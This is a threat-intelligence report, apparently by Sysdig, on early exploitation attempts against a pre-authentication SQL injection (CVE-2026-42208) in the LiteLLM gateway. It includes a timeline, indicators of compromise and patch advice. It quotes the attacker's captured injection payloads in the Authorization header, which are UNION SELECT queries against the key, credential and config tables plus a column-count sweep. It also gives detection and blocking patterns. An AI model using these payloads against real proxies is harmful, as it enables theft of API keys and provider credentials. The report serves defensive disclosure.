CVE-2026-42208, tracked as GHSA-r75f-5x8p-qvmc, is a critical pre-authentication SQL injection in LiteLLM, the open-source LLM gateway with 22,000+ GitHub stars used as a front end for OpenAI, Anthropic, and other model providers. Per the vulnerability disclosure, LiteLLM uses the Authorization: Bearer header value with a SQL query that lacks parameterization, so any attacker who can reach a LiteLLM proxy can issue arbitrary SELECT statements against its PostgreSQL backend without credentials. 

The advisory was indexed in the GitHub Advisory Database on April 24, 2026, at 16:17 UTC and has not been included in CISA's KEV catalog at the time of writing. The timeline is anchored to the global-database publication, which is when defender feeds (e.g., Dependabot, OSV, GHSA mirrors) surface advisories. The maintainer-side repository advisory was published earlier on April 20, at 21:14 UTC.

The Sysdig Threat Research Team (TRT) observed the first exploitation attempt 36 hours and seven minutes after the advisory was published to the global database. The traffic the Sysdig TRT captured was not a generic SQLmap spray, which is very common in SQL injection attacks, but a deliberate, and likely customized, enumeration of the production LiteLLM schema, targeting the three tables that hold the highest-value secrets: virtual API keys, stored provider credentials, and the proxy's environment-variable configuration. The operator already knew LiteLLM's Prisma-generated PostgreSQL identifier casing and ran a textbook column-count discovery sweep against each target table.

We did not see follow-through, however. There were no authenticated calls using exfiltrated keys, no virtual-key minting via /key/generate, and no chained reuse of provider credentials. The novelty of this finding is the speed and precision of the schema-enumeration attempt, not a confirmed compromise.

Timeline

Time from advisory publication to first exploit: 36 hours, seven minutes.

The vulnerability

LiteLLM is a proxy that exposes an OpenAI-compatible REST API to dozens of upstream LLM providers. Operators configure model definitions, virtual API keys, spend budgets, and provider credentials through the admin UI; in return, clients send Authorization: Bearer sk-... and the proxy verifies the key, applies rate limits, and forwards to the upstream model.

CVE-2026-42208 exists within the proxy verification step. In affected versions (>= 1.81.16, < 1.83.7), the Bearer value is concatenated directly into a SELECT against the LiteLLM_VerificationToken table without parameter binding. A single quote allows an attacker to escape the string literal and append arbitrary SQL. A similar flaw was recently reported for ingress-nginx. The call happens before authentication (auth) is decided, so the injection is fully pre-auth: any HTTP client that can reach the proxy port is sufficient.

Several factors made this advisory unusually attractive to opportunistic operators:

• Pre-auth: The injection runs in the auth-check itself, with no rate limiter, IP allow list, or captcha. Anything reachable on port 4000 is exploitable.
• Direct path to provider keys: LiteLLM's purpose is to centralize paid model-provider credentials. The patch notes call out three high-value tables: LiteLLM_VerificationToken (virtual API keys including the master key), litellm_credentials (stored provider credentials), and litellm_config (proxy environment variables). All three are reachable from a single UNION.
• Authenticated reuse is trivial: Once a virtual key or master key is exfiltrated, it can be replayed against /chat/completions from any IP. LiteLLM does not bind keys to a source by default.

The fix in v1.83.7 (https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable) replaces the string interpolation with a parameterized query. Operators using versions 1.81.16 through 1.83.6 should patch immediately and treat any internet-facing instance during the exposure window as compromised.

What the Sysdig TRT observed

Malicious activity fell into two phases driven by the same operator across two adjacent egress IPs, followed by a brief unauthenticated probe of the key-management endpoints.

Phase 1: Schema enumeration (04:24-04:45 UTC)

The first source IP, 65.111.27.132, opened with the canonical proof-of-concept (PoC) shape: POST /chat/completions carrying Authorization: Bearer sk-litellm'<UNION SELECT ...>--. The sk-litellm' prefix is not a real key. It is a single-quote-terminated string designed to look like a virtual-key prefix and break out of the SQL literal. The user-agent on every request is Python/3.12 aiohttp/3.9.1.

The first four payloads each targeted a different high-value table:

sk-litellm' UNION SELECT api_key,NULL,NULL,NULL,NULL FROM litellm_verificationtoken--
sk-litellm' UNION SELECT credential_values,NULL,NULL,NULL,NULL FROM litellm_credentials--
sk-litellm' UNION SELECT config_value,NULL,NULL,NULL,NULL FROM litellm_config WHERE param_name='environment_variables'--
sk-litellm' UNION SELECT api_key,NULL,NULL,NULL,NULL FROM "LiteLLM_VerificationToken"--

Two operator-level details stand out:

First, the operator already knew the real table name. PostgreSQL folds unquoted identifiers to lowercase; LiteLLM's Prisma ORM generates table names in PascalCase (LiteLLM_VerificationToken). When the lowercase form returned no rows, the operator retried with the quoted PascalCase form. That is not generic-scanner behavior. It implies prior reading of the LiteLLM Prisma schema or LLM assistance.

Second, the operator picked all three highest-value tables on the first try. litellm_credentials.credential_values holds the actual upstream provider keys (OpenAI, Anthropic, Bedrock). litellm_config with param_name='environment_variables' returns the proxy runtime env, typically including the PostgreSQL DSN, the master key, callback webhook URLs, and cache backends. There were no probes against benign tables like litellm_users or litellm_team. The operator went straight to where the secrets live.

After a 10-minute pause, the same IP returned for column-count enumeration, varying the number of NULL placeholders to discover the underlying query shape:

sk-litellm' UNION SELECT api_key FROM litellm_verificationtoken--
sk-litellm' UNION SELECT api_key,NULL FROM litellm_verificationtoken--
sk-litellm' UNION SELECT api_key,NULL,NULL FROM litellm_verificationtoken--
sk-litellm' UNION SELECT api_key,NULL,NULL,NULL,NULL FROM litellm_verificationtoken--
sk-litellm' UNION SELECT api_key,NULL,NULL,NULL,NULL,NULL FROM litellm_verificationtoken--

This progression (1, 2, 3, 5, 6 columns) is the textbook way to find the column count when the application discards all but one column of UNION output. Once the right shape lands, that column carries the leaked data back in the response body.

Phase 2: Egress rotation, same operator (05:06 UTC)

After a 21-minute pause, a second source IP 65.111.25.67 (same /22 subnet, same AS200373, same user-agent) fired the payload set again in the span of 25 seconds. Identical templates and pacing make a single-operator rotation the most parsimonious read; the gap and IP change are consistent with a tool that rolls egress IPs between targets to bypass per-IP rate limits.

The second IP's payloads converged on a refined target list:

sk-litellm' UNION SELECT api_key FROM "LiteLLM_VerificationToken"--
sk-litellm' UNION SELECT api_key,NULL FROM "LiteLLM_VerificationToken"--
sk-litellm' UNION SELECT api_key,NULL,NULL FROM "LiteLLM_VerificationToken"--
sk-litellm' UNION SELECT credential_values,NULL,NULL FROM litellm_credentials--
sk-litellm' UNION SELECT config_value,NULL FROM litellm_config WHERE param_name='environment_variables'--
sk-litellm' OR 1=1--

The final OR 1=1-- payload is the most telling. After 29 UNION variants, the last request degrades to a tautology: "if all else failed, return any row." That is the shape of an automation harness exhausting its payload list, not a human typist.

What this means for defenders

The 36-hour window from advisory to first exploit on LiteLLM is a slower curve than the exploitation of the recent marimo vulnerability, but the targeting was more deliberate. The marimo exploit was a generic interactive-shell smash-and-grab; the LiteLLM attempt was focused on extraction against the three specific tables holding the proxy's most valuable secrets.

A few patterns worth highlighting:

• AI proxies aggregate cloud-grade credentials. A single litellm_credentials row often holds an OpenAI organization key with five-figure monthly spend caps, an Anthropic console key with workspace admin rights, and an AWS Bedrock IAM credential. The blast radius of a successful database extraction is closer to a cloud-account compromise than a typical web-app SQL injection. This operator targeted litellm_credentials.credential_values and litellm_config.config_value WHERE param_name='environment_variables' directly. They understood what was at stake.
• Schema knowledge precedes exploitation. The retry from litellm_verificationtoken to "LiteLLM_VerificationToken" is not generic-scanner behavior. It suggests the operator read the LiteLLM Prisma schema before the run.
• GHSA-only critical advisories warrant KEV-level urgency. Defenders relying on CVE-keyed alerting or CISA KEV ingestion would not have surfaced this advisory in time.

Indicators of compromise

Source IPs

Both IPs sit in adjacent /22 blocks of the same autonomous system and use the same Python/3.12 aiohttp/3.9.1 user-agent, consistent with a single operator rotating egress between the two requests rather than separate actors. Source IPs may be proxies or rented VPS endpoints rather than the operator's true origin.

Request signatures

• HTTP request: POST /chat/completions, optionally followed by /v1/chat/completions. Empty or 75-byte body.
• User-agent on every SQL-injection request: Python/3.12 aiohttp/3.9.1.
• Authorization: Bearer header beginning with sk-litellm' (single-quote terminator).
• Header values containing UNION SELECT, FROM litellm_verificationtoken, FROM "LiteLLM_VerificationToken", FROM litellm_credentials, or FROM litellm_config WHERE param_name='environment_variables'.

Recommendations

• Update LiteLLM to v1.83.7 (https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable) or later immediately. If a patch window is unavailable, place the proxy behind a reverse proxy that blocks any Authorization header value containing single quotes, parentheses, or SQL keywords (UNION, SELECT, FROM, OR, --).
• Rotate every virtual API key, master key, and provider credential stored in any LiteLLM instance that was internet-reachable on a vulnerable version. Treat the database as compromised even in the absence of confirmed extraction.
• Audit upstream provider billing for /chat/completions traffic from unfamiliar IPs in the days following the patch. Master-key reuse from any unexpected source IP is the most reliable monetization signal.
• Restrict LiteLLM proxies to an internal network or a mutually-authenticated reverse proxy. AI gateways consolidate enough credential value that direct internet exposure is no longer a defensible default.
• Monitor webserver logs for the request shape above. Even a single Bearer sk-litellm' request before the patch is a high-confidence indicator of attempted exploitation.
• Inventory AI proxy and gateway deployments in your environment. Application teams frequently stand up LiteLLM, OpenLLM, OpenAI-compatible bastions, and similar tools outside of standard security review, and they may hold production-tier provider keys without monitoring.

Conclusion

The LiteLLM vulnerability (GHSA-r75f-5x8p-qvmc) continues the modal pattern for AI-infrastructure advisories: critical, pre-auth, and in software with five-figure star counts that operators trust to centralize cloud-grade credentials. The 36-hour exploit window is consistent with the broader collapse documented by the Zero Day Clock, and the operator behavior we recorded (verbatim Prisma table names, three-table targeting, deliberate column-count enumeration) shows that exploitation no longer waits for a public PoC. The advisory and the open-source schema were ultimately enough.

The Sysdig TRT did not observe a successful authenticated follow-on. That does not mean the vulnerability is benign, but it does mean this operator either failed to extract a usable key or chose not to monetize what they extracted. Either way, the targeting precision of the schema-enumeration phase tells defenders that AI-gateway databases are now an explicit objective.

The AI gateway category (proxies, key managers, model routers, etc.) must be treated as a tier-1 credential surface, not as a developer convenience. A SQL injection against a LiteLLM database is, in practical terms, a SQL injection against every model provider account it fronts.

‍